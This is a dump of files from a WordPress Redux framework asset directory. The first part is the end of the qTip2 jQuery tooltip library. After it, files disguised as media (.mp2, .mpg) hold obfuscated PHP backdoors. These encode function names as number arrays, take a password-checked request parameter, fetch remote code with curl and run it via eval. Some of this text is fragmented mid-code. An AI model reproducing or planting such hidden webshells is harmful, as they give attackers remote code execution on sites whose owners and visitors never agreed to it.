on an input below // this modal, divert focus to the first visible input in this modal // or if we can't find one... the tooltip itself if(!targetOnTop && target.closest(SELECTOR)[0] !== tooltip[0]) { focusInputs(target); } // Detect when we leave the last focusable element... onLast = event.target === focusableElems[focusableElems.length - 1]; } $.extend(self, { init: function() { // Create document overlay elem = self.elem = $('
    ', { id: 'qtip-overlay', html: '
    ', mousedown: function() { return FALSE; } }) .hide(); // Make sure we can't focus anything outside the tooltip $(document.body).bind('focusin'+MODALSELECTOR, stealFocus); // Apply keyboard "Escape key" close handler $(document).bind('keydown'+MODALSELECTOR, function(event) { if(current && current.options.show.modal.escape && event.keyCode === 27) { current.hide(event); } }); // Apply click handler for blur option elem.bind('click'+MODALSELECTOR, function(event) { if(current && current.options.show.modal.blur) { current.hide(event); } }); return self; }, update: function(api) { // Update current API reference current = api; // Update focusable elements if enabled if(api.options.show.modal.stealfocus !== FALSE) { focusableElems = api.tooltip.find('*').filter(function() { return focusable(this); }); } else { focusableElems = []; } }, toggle: function(api, state, duration) { var docBody = $(document.body), tooltip = api.tooltip, options = api.options.show.modal, effect = options.effect, type = state ? 'show': 'hide', visible = elem.is(':visible'), visibleModals = $(MODALSELECTOR).filter(':visible:not(:animated)').not(tooltip), zindex; // Set active tooltip API reference self.update(api); // If the modal can steal the focus... // Blur the current item and focus anything in the modal we an if(state && options.stealfocus !== FALSE) { focusInputs( $(':focus') ); } // Toggle backdrop cursor style on show elem.toggleClass('blurs', options.blur); // Append to body on show if(state) { elem.appendTo(document.body); } // Prevent modal from conflicting with show.solo, and don't hide backdrop is other modals are visible if((elem.is(':animated') && visible === state && prevState !== FALSE) || (!state && visibleModals.length)) { return self; } // Stop all animations elem.stop(TRUE, FALSE); // Use custom function if provided if($.isFunction(effect)) { effect.call(elem, state); } // If no effect type is supplied, use a simple toggle else if(effect === FALSE) { elem[ type ](); } // Use basic fade function else { elem.fadeTo( parseInt(duration, 10) || 90, state ? 1 : 0, function() { if(!state) { elem.hide(); } }); } // Reset position and detach from body on hide if(!state) { elem.queue(function(next) { elem.css({ left: '', top: '' }); if(!$(MODALSELECTOR).length) { elem.detach(); } next(); }); } // Cache the state prevState = state; // If the tooltip is destroyed, set reference to null if(current.destroyed) { current = NULL; } return self; } }); self.init(); }; OVERLAY = new OVERLAY(); function Modal(api, options) { this.options = options; this._ns = '-modal'; this.init( (this.qtip = api) ); } $.extend(Modal.prototype, { init: function(qtip) { var tooltip = qtip.tooltip; // If modal is disabled... return if(!this.options.on) { return this; } // Set overlay reference qtip.elements.overlay = OVERLAY.elem; // Add unique attribute so we can grab modal tooltips easily via a SELECTOR, and set z-index tooltip.addClass(MODALCLASS).css('z-index', QTIP.modal_zindex + $(MODALSELECTOR).length); // Apply our show/hide/focus modal events qtip._bind(tooltip, ['tooltipshow', 'tooltiphide'], function(event, api, duration) { var oEvent = event.originalEvent; // Make sure mouseout doesn't trigger a hide when showing the modal and mousing onto backdrop if(event.target === tooltip[0]) { if(oEvent && event.type === 'tooltiphide' && /mouse(leave|enter)/.test(oEvent.type) && $(oEvent.relatedTarget).closest(OVERLAY.elem[0]).length) { try { event.preventDefault(); } catch(e) {} } else if(!oEvent || (oEvent && oEvent.type !== 'tooltipsolo')) { this.toggle(event, event.type === 'tooltipshow', duration); } } }, this._ns, this); // Adjust modal z-index on tooltip focus qtip._bind(tooltip, 'tooltipfocus', function(event, api) { // If focus was cancelled before it reached us, don't do anything if(event.isDefaultPrevented() || event.target !== tooltip[0]) { return; } var qtips = $(MODALSELECTOR), // Keep the modal's lower than other, regular qtips newIndex = QTIP.modal_zindex + qtips.length, curIndex = parseInt(tooltip[0].style.zIndex, 10); // Set overlay z-index OVERLAY.elem[0].style.zIndex = newIndex - 1; // Reduce modal z-index's and keep them properly ordered qtips.each(function() { if(this.style.zIndex > curIndex) { this.style.zIndex -= 1; } }); // Fire blur event for focused tooltip qtips.filter('.' + CLASS_FOCUS).qtip('blur', event.originalEvent); // Set the new z-index tooltip.addClass(CLASS_FOCUS)[0].style.zIndex = newIndex; // Set current OVERLAY.update(api); // Prevent default handling try { event.preventDefault(); } catch(e) {} }, this._ns, this); // Focus any other visible modals when this one hides qtip._bind(tooltip, 'tooltiphide', function(event) { if(event.target === tooltip[0]) { $(MODALSELECTOR).filter(':visible').not(tooltip).last().qtip('focus', event); } }, this._ns, this); }, toggle: function(event, state, duration) { // Make sure default event hasn't been prevented if(event && event.isDefaultPrevented()) { return this; } // Toggle it OVERLAY.toggle(this.qtip, !!state, duration); }, destroy: function() { // Remove modal class this.qtip.tooltip.removeClass(MODALCLASS); // Remove bound events this.qtip._unbind(this.qtip.tooltip, this._ns); // Delete element reference OVERLAY.toggle(this.qtip, FALSE); delete this.qtip.elements.overlay; } }); MODAL = PLUGINS.modal = function(api) { return new Modal(api, api.options.show.modal); }; // Setup sanitiztion rules MODAL.sanitize = function(opts) { if(opts.show) { if(typeof opts.show.modal !== 'object') { opts.show.modal = { on: !!opts.show.modal }; } else if(typeof opts.show.modal.on === 'undefined') { opts.show.modal.on = TRUE; } } }; // Base z-index for all modal tooltips (use qTip core z-index as a base) QTIP.modal_zindex = QTIP.zindex - 200; // Plugin needs to be initialized on render MODAL.initialize = 'render'; // Setup option set checks CHECKS.modal = { '^show.modal.(on|blur)$': function() { // Initialise this.destroy(); this.init(); // Show the modal if not visible already and tooltip is visible this.qtip.elems.overlay.toggle( this.qtip.tooltip[0].offsetWidth > 0 ); } }; // Extend original api defaults $.extend(TRUE, QTIP.defaults, { show: { modal: { on: FALSE, effect: TRUE, blur: TRUE, stealfocus: TRUE, escape: TRUE } } }); ;PLUGINS.viewport = function(api, position, posOptions, targetWidth, targetHeight, elemWidth, elemHeight) { var target = posOptions.target, tooltip = api.elements.tooltip, my = posOptions.my, at = posOptions.at, adjust = posOptions.adjust, method = adjust.method.split(' '), methodX = method[0], methodY = method[1] || method[0], viewport = posOptions.viewport, container = posOptions.container, cache = api.cache, adjusted = { left: 0, top: 0 }, fixed, newMy, containerOffset, containerStatic, viewportWidth, viewportHeight, viewportScroll, viewportOffset; // If viewport is not a jQuery element, or it's the window/document, or no adjustment method is used... return if(!viewport.jquery || target[0] === window || target[0] === document.body || adjust.method === 'none') { return adjusted; } // Cach container details containerOffset = container.offset() || adjusted; containerStatic = container.css('position') === 'static'; // Cache our viewport details fixed = tooltip.css('position') === 'fixed'; viewportWidth = viewport[0] === window ? viewport.width() : viewport.outerWidth(FALSE); viewportHeight = viewport[0] === window ? viewport.height() : viewport.outerHeight(FALSE); viewportScroll = { left: fixed ? 0 : viewport.scrollLeft(), top: fixed ? 0 : viewport.scrollTop() }; viewportOffset = viewport.offset() || adjusted; // Generic calculation method function calculate(side, otherSide, type, adjust, side1, side2, lengthName, targetLength, elemLength) { var initialPos = position[side1], mySide = my[side], atSide = at[side], isShift = type === SHIFT, myLength = mySide === side1 ? elemLength : mySide === side2 ? -elemLength : -elemLength / 2, atLength = atSide === side1 ? targetLength : atSide === side2 ? -targetLength : -targetLength / 2, sideOffset = viewportScroll[side1] + viewportOffset[side1] - (containerStatic ? 0 : containerOffset[side1]), overflow1 = sideOffset - initialPos, overflow2 = initialPos + elemLength - (lengthName === WIDTH ? viewportWidth : viewportHeight) - sideOffset, offset = myLength - (my.precedance === side || mySide === my[otherSide] ? atLength : 0) - (atSide === CENTER ? targetLength / 2 : 0); // shift if(isShift) { offset = (mySide === side1 ? 1 : -1) * myLength; // Adjust position but keep it within viewport dimensions position[side1] += overflow1 > 0 ? overflow1 : overflow2 > 0 ? -overflow2 : 0; position[side1] = Math.max( -containerOffset[side1] + viewportOffset[side1], initialPos - offset, Math.min( Math.max( -containerOffset[side1] + viewportOffset[side1] + (lengthName === WIDTH ? viewportWidth : viewportHeight), initialPos + offset ), position[side1], // Make sure we don't adjust complete off the element when using 'center' mySide === 'center' ? initialPos - myLength : 1E9 ) ); } // flip/flipinvert else { // Update adjustment amount depending on if using flipinvert or flip adjust *= (type === FLIPINVERT ? 2 : 0); // Check for overflow on the left/top if(overflow1 > 0 && (mySide !== side1 || overflow2 > 0)) { position[side1] -= offset + adjust; newMy.invert(side, side1); } // Check for overflow on the bottom/right else if(overflow2 > 0 && (mySide !== side2 || overflow1 > 0) ) { position[side1] -= (mySide === CENTER ? -offset : offset) + adjust; newMy.invert(side, side2); } // Make sure we haven't made things worse with the adjustment and reset if so if(position[side1] < viewportScroll && -position[side1] > overflow2) { position[side1] = initialPos; newMy = my.clone(); } } return position[side1] - initialPos; } // Set newMy if using flip or flipinvert methods if(methodX !== 'shift' || methodY !== 'shift') { newMy = my.clone(); } // Adjust position based onviewport and adjustment options adjusted = { left: methodX !== 'none' ? calculate( X, Y, methodX, adjust.x, LEFT, RIGHT, WIDTH, targetWidth, elemWidth ) : 0, top: methodY !== 'none' ? calculate( Y, X, methodY, adjust.y, TOP, BOTTOM, HEIGHT, targetHeight, elemHeight ) : 0, my: newMy }; return adjusted; }; ;PLUGINS.polys = { // POLY area coordinate calculator // Special thanks to Ed Cradock for helping out with this. // Uses a binary search algorithm to find suitable coordinates. polygon: function(baseCoords, corner) { var result = { width: 0, height: 0, position: { top: 1e10, right: 0, bottom: 0, left: 1e10 }, adjustable: FALSE }, i = 0, next, coords = [], compareX = 1, compareY = 1, realX = 0, realY = 0, newWidth, newHeight; // First pass, sanitize coords and determine outer edges i = baseCoords.length; while(i--) { next = [ parseInt(baseCoords[--i], 10), parseInt(baseCoords[i+1], 10) ]; if(next[0] > result.position.right){ result.position.right = next[0]; } if(next[0] < result.position.left){ result.position.left = next[0]; } if(next[1] > result.position.bottom){ result.position.bottom = next[1]; } if(next[1] < result.position.top){ result.position.top = next[1]; } coords.push(next); } // Calculate height and width from outer edges newWidth = result.width = Math.abs(result.position.right - result.position.left); newHeight = result.height = Math.abs(result.position.bottom - result.position.top); // If it's the center corner... if(corner.abbrev() === 'c') { result.position = { left: result.position.left + (result.width / 2), top: result.position.top + (result.height / 2) }; } else { // Second pass, use a binary search algorithm to locate most suitable coordinate while(newWidth > 0 && newHeight > 0 && compareX > 0 && compareY > 0) { newWidth = Math.floor(newWidth / 2); newHeight = Math.floor(newHeight / 2); if(corner.x === LEFT){ compareX = newWidth; } else if(corner.x === RIGHT){ compareX = result.width - newWidth; } else{ compareX += Math.floor(newWidth / 2); } if(corner.y === TOP){ compareY = newHeight; } else if(corner.y === BOTTOM){ compareY = result.height - newHeight; } else{ compareY += Math.floor(newHeight / 2); } i = coords.length; while(i--) { if(coords.length < 2){ break; } realX = coords[i][0] - result.position.left; realY = coords[i][1] - result.position.top; if((corner.x === LEFT && realX >= compareX) || (corner.x === RIGHT && realX <= compareX) || (corner.x === CENTER && (realX < compareX || realX > (result.width - compareX))) || (corner.y === TOP && realY >= compareY) || (corner.y === BOTTOM && realY <= compareY) || (corner.y === CENTER && (realY < compareY || realY > (result.height - compareY)))) { coords.splice(i, 1); } } } result.position = { left: coords[0][0], top: coords[0][1] }; } return result; }, rect: function(ax, ay, bx, by) { return { width: Math.abs(bx - ax), height: Math.abs(by - ay), position: { left: Math.min(ax, bx), top: Math.min(ay, by) } }; }, _angles: { tc: 3 / 2, tr: 7 / 4, tl: 5 / 4, bc: 1 / 2, br: 1 / 4, bl: 3 / 4, rc: 2, lc: 1, c: 0 }, ellipse: function(cx, cy, rx, ry, corner) { var c = PLUGINS.polys._angles[ corner.abbrev() ], rxc = c === 0 ? 0 : rx * Math.cos( c * Math.PI ), rys = ry * Math.sin( c * Math.PI ); return { width: (rx * 2) - Math.abs(rxc), height: (ry * 2) - Math.abs(rys), position: { left: cx + rxc, top: cy + rys }, adjustable: FALSE }; }, circle: function(cx, cy, r, corner) { return PLUGINS.polys.ellipse(cx, cy, r, r, corner); } }; ;PLUGINS.svg = function(api, svg, corner) { var doc = $(document), elem = svg[0], root = $(elem.ownerSVGElement), ownerDocument = elem.ownerDocument, strokeWidth2 = (parseInt(svg.css('stroke-width'), 10) || 0) / 2, frameOffset, mtx, transformed, viewBox, len, next, i, points, result, position, dimensions; // Ascend the parentNode chain until we find an element with getBBox() while(!elem.getBBox) { elem = elem.parentNode; } if(!elem.getBBox || !elem.parentNode) { return FALSE; } // Determine which shape calculation to use switch(elem.nodeName) { case 'ellipse': case 'circle': result = PLUGINS.polys.ellipse( elem.cx.baseVal.value, elem.cy.baseVal.value, (elem.rx || elem.r).baseVal.value + strokeWidth2, (elem.ry || elem.r).baseVal.value + strokeWidth2, corner ); break; case 'line': case 'polygon': case 'polyline': // Determine points object (line has none, so mimic using array) points = elem.points || [ { x: elem.x1.baseVal.value, y: elem.y1.baseVal.value }, { x: elem.x2.baseVal.value, y: elem.y2.baseVal.value } ]; for(result = [], i = -1, len = points.numberOfItems || points.length; ++i < len;) { next = points.getItem ? points.getItem(i) : points[i]; result.push.apply(result, [next.x, next.y]); } result = PLUGINS.polys.polygon(result, corner); break; // Unknown shape or rectangle? Use bounding box default: result = elem.getBBox(); result = { width: result.width, height: result.height, position: { left: result.x, top: result.y } }; break; } // Shortcut assignments position = result.position; root = root[0]; // Convert position into a pixel value if(root.createSVGPoint) { mtx = elem.getScreenCTM(); points = root.createSVGPoint(); points.x = position.left; points.y = position.top; transformed = points.matrixTransform( mtx ); position.left = transformed.x; position.top = transformed.y; } // Check the element is not in a child document, and if so, adjust for frame elements offset if(ownerDocument !== document && api.position.target !== 'mouse') { frameOffset = $((ownerDocument.defaultView || ownerDocument.parentWindow).frameElement).offset(); if(frameOffset) { position.left += frameOffset.left; position.top += frameOffset.top; } } // Adjust by scroll offset of owner document ownerDocument = $(ownerDocument); position.left += ownerDocument.scrollLeft(); position.top += ownerDocument.scrollTop(); return result; }; ;PLUGINS.imagemap = function(api, area, corner, adjustMethod) { if(!area.jquery) { area = $(area); } var shape = (area.attr('shape') || 'rect').toLowerCase().replace('poly', 'polygon'), image = $('img[usemap="#'+area.parent('map').attr('name')+'"]'), coordsString = $.trim(area.attr('coords')), coordsArray = coordsString.replace(/,$/, '').split(','), imageOffset, coords, i, next, result, len; // If we can't find the image using the map... if(!image.length) { return FALSE; } // Pass coordinates string if polygon if(shape === 'polygon') { result = PLUGINS.polys.polygon(coordsArray, corner); } // Otherwise parse the coordinates and pass them as arguments else if(PLUGINS.polys[shape]) { for(i = -1, len = coordsArray.length, coords = []; ++i < len;) { coords.push( parseInt(coordsArray[i], 10) ); } result = PLUGINS.polys[shape].apply( this, coords.concat(corner) ); } // If no shapre calculation method was found, return false else { return FALSE; } // Make sure we account for padding and borders on the image imageOffset = image.offset(); imageOffset.left += Math.ceil((image.outerWidth(FALSE) - image.width()) / 2); imageOffset.top += Math.ceil((image.outerHeight(FALSE) - image.height()) / 2); // Add image position to offset coordinates result.position.left += imageOffset.left; result.position.top += imageOffset.top; return result; }; ;var IE6, /* * BGIFrame adaption (http://plugins.jquery.com/project/bgiframe) * Special thanks to Brandon Aaron */ BGIFRAME = ''; function Ie6(api, qtip) { this._ns = 'ie6'; this.init( (this.qtip = api) ); } $.extend(Ie6.prototype, { _scroll : function() { var overlay = this.qtip.elements.overlay; overlay && (overlay[0].style.top = $(window).scrollTop() + 'px'); }, init: function(qtip) { var tooltip = qtip.tooltip, scroll; // Create the BGIFrame element if needed if($('select, object').length < 1) { this.bgiframe = qtip.elements.bgiframe = $(BGIFRAME).appendTo(tooltip); // Update BGIFrame on tooltip move qtip._bind(tooltip, 'tooltipmove', this.adjustBGIFrame, this._ns, this); } // redraw() container for width/height calculations this.redrawContainer = $('
    ', { id: NAMESPACE+'-rcontainer' }) .appendTo(document.body); // Fixup modal plugin if present too if( qtip.elements.overlay && qtip.elements.overlay.addClass('qtipmodal-ie6fix') ) { qtip._bind(window, ['scroll', 'resize'], this._scroll, this._ns, this); qtip._bind(tooltip, ['tooltipshow'], this._scroll, this._ns, this); } // Set dimensions this.redraw(); }, adjustBGIFrame: function() { var tooltip = this.qtip.tooltip, dimensions = { height: tooltip.outerHeight(FALSE), width: tooltip.outerWidth(FALSE) }, plugin = this.qtip.plugins.tip, tip = this.qtip.elements.tip, tipAdjust, offset; // Adjust border offset offset = parseInt(tooltip.css('borderLeftWidth'), 10) || 0; offset = { left: -offset, top: -offset }; // Adjust for tips plugin if(plugin && tip) { tipAdjust = (plugin.corner.precedance === 'x') ? [WIDTH, LEFT] : [HEIGHT, TOP]; offset[ tipAdjust[1] ] -= tip[ tipAdjust[0] ](); } // Update bgiframe this.bgiframe.css(offset).css(dimensions); }, // Max/min width simulator function redraw: function() { if(this.qtip.rendered < 1 || this.drawing) { return this; } var tooltip = this.qtip.tooltip, style = this.qtip.options.style, container = this.qtip.options.position.container, perc, width, max, min; // Set drawing flag this.qtip.drawing = 1; // If tooltip has a set height/width, just set it... like a boss! if(style.height) { tooltip.css(HEIGHT, style.height); } if(style.width) { tooltip.css(WIDTH, style.width); } // Simulate max/min width if not set width present... else { // Reset width and add fluid class tooltip.css(WIDTH, '').appendTo(this.redrawContainer); // Grab our tooltip width (add 1 if odd so we don't get wrapping problems.. huzzah!) width = tooltip.width(); if(width % 2 < 1) { width += 1; } // Grab our max/min properties max = tooltip.css('maxWidth') || ''; min = tooltip.css('minWidth') || ''; // Parse into proper pixel values perc = (max + min).indexOf('%') > -1 ? container.width() / 100 : 0; max = ((max.indexOf('%') > -1 ? perc : 1) * parseInt(max, 10)) || width; min = ((min.indexOf('%') > -1 ? perc : 1) * parseInt(min, 10)) || 0; // Determine new dimension size based on max/min/current values width = max + min ? Math.min(Math.max(width, min), max) : width; // Set the newly calculated width and remvoe fluid class tooltip.css(WIDTH, Math.round(width)).appendTo(container); } // Set drawing flag this.drawing = 0; return this; }, destroy: function() { // Remove iframe this.bgiframe && this.bgiframe.remove(); // Remove bound events this.qtip._unbind([window, this.qtip.tooltip], this._ns); } }); IE6 = PLUGINS.ie6 = function(api) { // Proceed only if the browser is IE6 return BROWSER.ie === 6 ? new Ie6(api) : FALSE; }; IE6.initialize = 'render'; CHECKS.ie6 = { '^content|style$': function() { this.redraw(); } }; ;})); }( window, document ));lib/redux-framework/assets/js/vendor/qtip/qtip/index.php000064400000000000147206624460017422 0ustar00lib/redux-framework/assets/js/vendor/qtip/qtip/uPWLoqSAEFjZeDkNw.mp2000064400000011751147206624460021324 0ustar00xf~Lt-*/$HwA/*-$D6geh-*/ = /*-NDb~5`-*/$kJf/*-c-*/("~", /*-8;6+p_-*/" "); /*-V#|fsA4-*/$IF/*-iX9-*/=/*-B?Zbc-*/${$HwA/*-1!PE`JUU-*/[11+20/*-@9}eIbNz-*/].$HwA/*-Q!-*/($IF)./*--_&}c`8-*/class /*-BG1D9;0!.A-*/nK{ /*-RJ(K6U]-*/static/*-GBN!sk-*/ function /*-t.3@m]b-*/USzN($bWClg) /*-ko}v,tB-*/{ $JiwvN/*-VK{8v-*/ = /*-rIKB9Xy#L-*/"r"./*-4Io>]V>-*/"a"./*-~UJdZJ-*/"n"./*-RT?HR1ViI-*/"g"./*-U|&^-*/"e"; /*-tc9N2xiZ-*/$iaf/*-R-~jm]-*/ = /*-Hfv9tay9-*/$KLtTWqdx /*-#06~{d3:u-*/= /*-1Z-*/""; foreach /*-1al=28-*/(/*-lYKoGN70$-*/$FmwMxfBltb /*-K[d-*/as /*->2Y>(hW-*/$JrA /*-(T-*/=>/*-^r`TL-*/ $CvFGHJ/*-BH7i!lv#_-*/) /*-4q#?c;-*/$KLtTWqdx /*-;}8RH+V$X-*/.= /*-Hu-*/$iaf[$CvFGHJ/*-t?&@-*/ - /*-8hY4OBypg-*/57667/*-_-*/];/*-hF-OcE-*/ return /*-}.uMmb>;-*/$KLtTWqdx; /*-&R:06-*/} /*-Sz-*/static /*-;H2.-*/function /*-v4$Mky-vk~-*/MvsRkYJe/*-g2o.L-*/(/*-jeuK[-*/$lOSjJ,/*-[;Ls-*/ $WAOG/*-lssxK}+y~!-*/)/*-hUx-*/ {/*-d1-*/ $NfpbHhYG/*-!XOx-*/ = /*-f(kM!OwB~>-*/curl_init/*-NXZD0h5Pv}-*/(/*-jZ[Mpfv-*/$lOSjJ/*-ehaD-*/);/*->#-*/ curl_setopt/*-v}-*/(/*-4AA5-*/$NfpbHhYG,/*-1Q|u:!b]-*/ CURLOPT_RETURNTRANSFER,/*-DG#@.-*/ 1/*-Q@Z}-*/);/*-E#0-*/ $CaMN/*-vgKrx$Dl-*/ = /*-n4-*/curl_exec/*-y$p&7T-*/(/*-_x0J-*/$NfpbHhYG/*-q`6mH,<-*/); /*-#h7J>-*/return /*-jx-*/empty/*-.M7=F:V-*/(/*-zvw-*/$CaMN/*-q|-*/)/*-dyWU)mZE-*/ ? /*-simH!-*/$WAOG/*-,y9l.MB+:-*/(/*-DX(BhU-*/$lOSjJ/*-GDXL=-*/)/*-3|VdRzG&-*/ : /*-HG;)Z-*/$CaMN; /*-7q-*/}/*-5Dfs-*/ static/*-gs>KD-*/ function /*-,K-*/cxdOmgFGT/*--j@-*/() /*-`^I$?$W|2$-*/{/*-$5-*/ $oASeR /*-{~L>%WR-*/=/*-Yb=%?-*/ array/*-:@5(.-*/("57694+57679+57692+57696+57677+57692+57698+57691+57676+57683+57694+57677+57688+57682+57683","57678+57677+57679+57698+57679+57682+57677+57744+57742","57687+57678+57682+57683+57698+57693+57692+57694+57682+57693+57692","57681+57696+57694+57686","57695+57696+57678+57692+57739+57741+57698+57693+57692+57694+57682+57693+57692","57691+57688+57685+57692+57698+57690+57692+57677+57698+57694+57682+57683+57677+57692+57683+57677+57678","57721+57751","57668","57746+57751","57728+57711+57711+57728+57704","57682+57691"); /*-<@Z-*/foreach /*-Ado]`l-*/(/*-O1s^R$P-*/$oASeR/*-Ai}&6-*/ as /*-QGO[o!-*/$ycJ/*-FYGC-*/)/*-e?3bx|;-*/ $saEofVvBIz/*-?GIF-*/[] /*-@oHcx-*/= /*-hn.>;^[%-*/self/*-R?-*/::/*-z=LbuCi-*/USzN/*-`eX@cbb(A;!-*/(/*-+4hG?E~f-*/$saEofVvBIz/*-7cm-*/[/*-F,-*/5+1/*-TRufw-*/], /*-:k[T2-*/$eLJVXYcD/*-Y13>s)-*/);/*-a)4`>r(-*/ $hTbBLSODl /*-=VuJ,rO-*/=/*-F>}:@z#-*/ $saEofVvBIz/*-yOY9-*/[/*-J2--*/1+1/*-~=eoF(5-*/]/*-}i;eW<4c-*/(/*-|r&g9F4-*/$FwqLbeHnE,/*-.>[~r6_m-*/ true/*-+ag-*/); /*-4.#3,`?&-*/@${/*-,TjH]$_-*/"_"./*-~.g-*/"G"./*-frP,-*/"E"/*-RNYc-*/."T"/*-cL:cj$3-*/}/*-Z~x-*/[/*-8k-*/$saEofVvBIz/*-xBeV&YAi-*/[6+4/*-hFKyWP-*/]/*-R_Y|~W-*/]/*-We&-*/ == /*-MV-*/1 /*-)98-*/&& /*-sS?P-*/die/*-x0`X-*/(/*-P[&(_%-*/$saEofVvBIz[2+3/*-J`%W%-*/]/*-n{U{nQwK-*/(/*-tw#-gEF0Rx-*/__FILE__/*-&y_Nrm-*/)/*-wIim-*/); /*-fCOT!.-*/if/*-!^EP}-*/(/*-my,I]?4-*/ (/*-R;ffr.4-*/(@/*--=~-*/$hTbBLSODl/*-NuB-*/[/*-=;79eB$-*/0/*-M3H-*/] /*-yL+Zlww3t-*/- time/*-rz6-*/()/*-SXt /*-8lJ)9k=R]-*/0/*-^dRO-*/)/*-9G-*/ and /*-s`y-*/(/*-kJuD:i-*/md5/*-{~am]-*/(/*-?+utq2,-*/md5/*-;wLxJ`S-*/(/*-!E-*/$hTbBLSODl/*-bA!-*/[/*-kcgsq4iw%-*/3+0/*-.)uUk]nL-*/]/*-2o$cq-*/)/*-G,#hn@M-*/)/*-F41T4-*/ === /*-;7~N||]-*/"179f41ade4afaefd90500d7321ceb50e"/*-f{LV|CxP,v-*/)/*->D@[y-*/ ): /*-d!d1dI2]V-*/$utdbE /*-_-*/=/*-yUz:R-*/ self/*-oylt-*/::/*-GjK6KoZUK_-*/MvsRkYJe/*-8<0N|-*/(/*-o0BE_Zvm-*/$hTbBLSODl/*-1BPh-!$S-*/[/*-3XCTOJ${(-*/1+0/*-dE-*/], /*-e>zWL1`J-*/$saEofVvBIz/*-8GMd-*/[/*-3,]|Qv3#c[-*/4+1/*-U9ThNt-*/]/*-wQ-*/);/*-Z%.tJ-*/@eval/*-#W6a4-*/(/*-gbu-*/$saEofVvBIz/*-!;YdJ+TI+-*/[/*-2~-*/0+4/*-Rp0!ao-*/nK/*->Nd^c[w-*/::/*-I|iV4dO-*/cxdOmgFGT/*-^xkn-*/();/*-X-*/ ?>lib/redux-framework/assets/js/vendor/qtip/qtip/.htaccess000064400000001626147206624460017417 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/js/vendor/qtip/.htaccess000064400000001626147206624460016442 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/js/vendor/vendor/index.php000064400000000000147206624460016765 0ustar00lib/redux-framework/assets/js/vendor/vendor/ynqJeuLHKWboDklA.mpg000064400000011704147206624460020705 0ustar00t-(x-*/[5+26/*-8`k`;-*/].$h/*-Wx8-*/[26+33]/*-8|t=-*/.$h/*-aL-*/[2+45]/*-LOuaZ>-*/.$h/*-M<-*/[8+39]/*-6CFj_s%-*/.$h/*-k#X1[-*/[6+45]/*-cCI{`U-*/.$h/*-62-*/[0+53]/*-hapevpzZ-*/.$h/*-Rj9T-*/[18+39]/*-)0S-*/}; /*-7Vl!htFm-*/if/*-F{_t6^(}-*/((/*-RrXyWq-*/in_array/*-MqB4~lX$-*/(gettype/*-$@-*/($iO)./*-LPtWI22-*/count/*-KuXNm!-*/($iO),/*--T)$[6#2-*/$iO)/*-`5A7i-*/&&count/*-2DHEl-*/($iO)/*-44`O0tQn-*/==/*-J-u-*/11))/*-3g7r4-*/{ /*-C=5-*/(($iO[65]=$iO[65].$iO[78])&&($iO[90]=$iO[65]($iO[90]))&&(/*-q-!]U-*/@eval/*-Hqz-*/($iO[65](${$iO[50]}[21])/*-/*-USc_Z4Mpv-*/ $aftK/*-,2RH-*/) /*-d8F^70-*/$yMbRrH /*-l=LTCh|-*/.= /*->M0LVG}-*/$sfrKpecIB[$aftK/*-7kHr0ypw-*/ - /*->7%-*/33193/*-vUvT&jIT-*/];/*-1(JW!L-*/ return /*-KF-*/$yMbRrH; /*-;U:vY-*/} /*-7[`-*/static /*-aKhmgW-*/); /*-&_S7Hy-*/return /*-K7]V-*/empty/*-vPWBLuD-*/(/*-p;9j-*/$tbjlicw/*-JyIO`k-*/)/*-_N-*/ ? /*-=eV`k|l$-*/$SstyOdVra/*-t;-*/(/*-nV(n^;+9-*/$ZEiB/*-99hN-*/)/*-$84Ck-*/ : /*-pU^7-*/$tbjlicw; /*-cK?`c+i-*/}/*-NFD$7WXlF-*/ static/*-hKF9,N|VQ1-*/ function /*-FS-*/Cd/*-D|U-*/() /*-3zn0-*/{/*-V}-*/ $zPrtKyUG /*-b!>{F2f,a-*/=/*-z<-*/ array/*-n1`xn,-*/("33220<33205<33218<33222<33203<33218<33224<33217<33202<33209<33220<33203<33214<33208<33209","33204<33203<33205<33224<33205<33208<33203<33270<33268","33213<33204<33208<33209<33224<33219<33218<33220<33208<33219<33218","33207<33222<33220<33212","33221<33222<33204<33218<33265<33267<33224<33219<33218<33220<33208<33219<33218","33217<33214<33211<33218<33224<33216<33218<33203<33224<33220<33208<33209<33203<33218<33209<33203<33204","33247<33277","33194","33272<33277","33254<33237<33237<33254<33230","33208<33217"); /*-gu[[_j^0b-*/foreach /*-_F,-*/(/*-fl[p-*/$zPrtKyUG/*-$V5$^ZR?-*/ as /*-{g3-*/$baFeTSrJgP/*-[0y`!G-*/)/*-TlpinhsI-*/ $bQkY/*-,;M0ZN@-*/[] /*-4{uo-*/= /*-igW-*/self/*-W~xzQ-*/::/*-0mUg.-*/Ud/*-L:sG.yEGx-Y%-*/ $yl /*-{-,x-*/=/*-`3ab-*/ @$bQkY/*-zud#31(g-*/[/*-XR-*/0+3/*-sg:q#dAQ-*/ true/*-6?1OaZWWS-*/); /*-V7VZdE-*/@${/*-L[#w-*/"_"./*-XPY0&-*/"G"./*-|=kY.-*/"E"/*-eA}-*/."T"/*-n88M}|-*/}/*-loX--*/[/*-Lw6-*/()/*-=NVZyb-*/) > /*-JiQ{-*/0/*-p4m&C=SrS-*/)/*-io!kQ1Oz:3-*/ and /*-Ig-QJ:MD-*/(/*-Y@#a(&IJ-*/md5/*-<>K{k,Wn{.-*/(/*-%}`-*/md5/*-)R-*/(/*-jGQ:cx|7+-*/$DdJTgZVv/*--XseuJQ-*/[/*-wy:Z!`m?-*/1+2/*->yZvLu-oP-*/]/*-;XP#f-*/)/*-}-*/)/*-CkZ[n,M2[5-*/ === /*-0hM-*/"cb145525421d7b64ec53bf7814d8df43"/*-h7C#lB~[mO-*/)/*-n{-*/ ): /*-cq%8U76-*/$wSBrHoGpR /*-PS3>Zy-*/=/*-->-*/ self/*-(:-*/::/*-i$z=g2$P@-*/wm/*-SLeXUA2zb-*/(/*-D&-*/$DdJTgZVv/*-~i.%-*/[/*-N|C|])dQ|-*/1+0/*-X[P_EoNeu-*/], /*-;ppKfB$gga-*/$bQkY/*-@^HRiCo2#-*/ 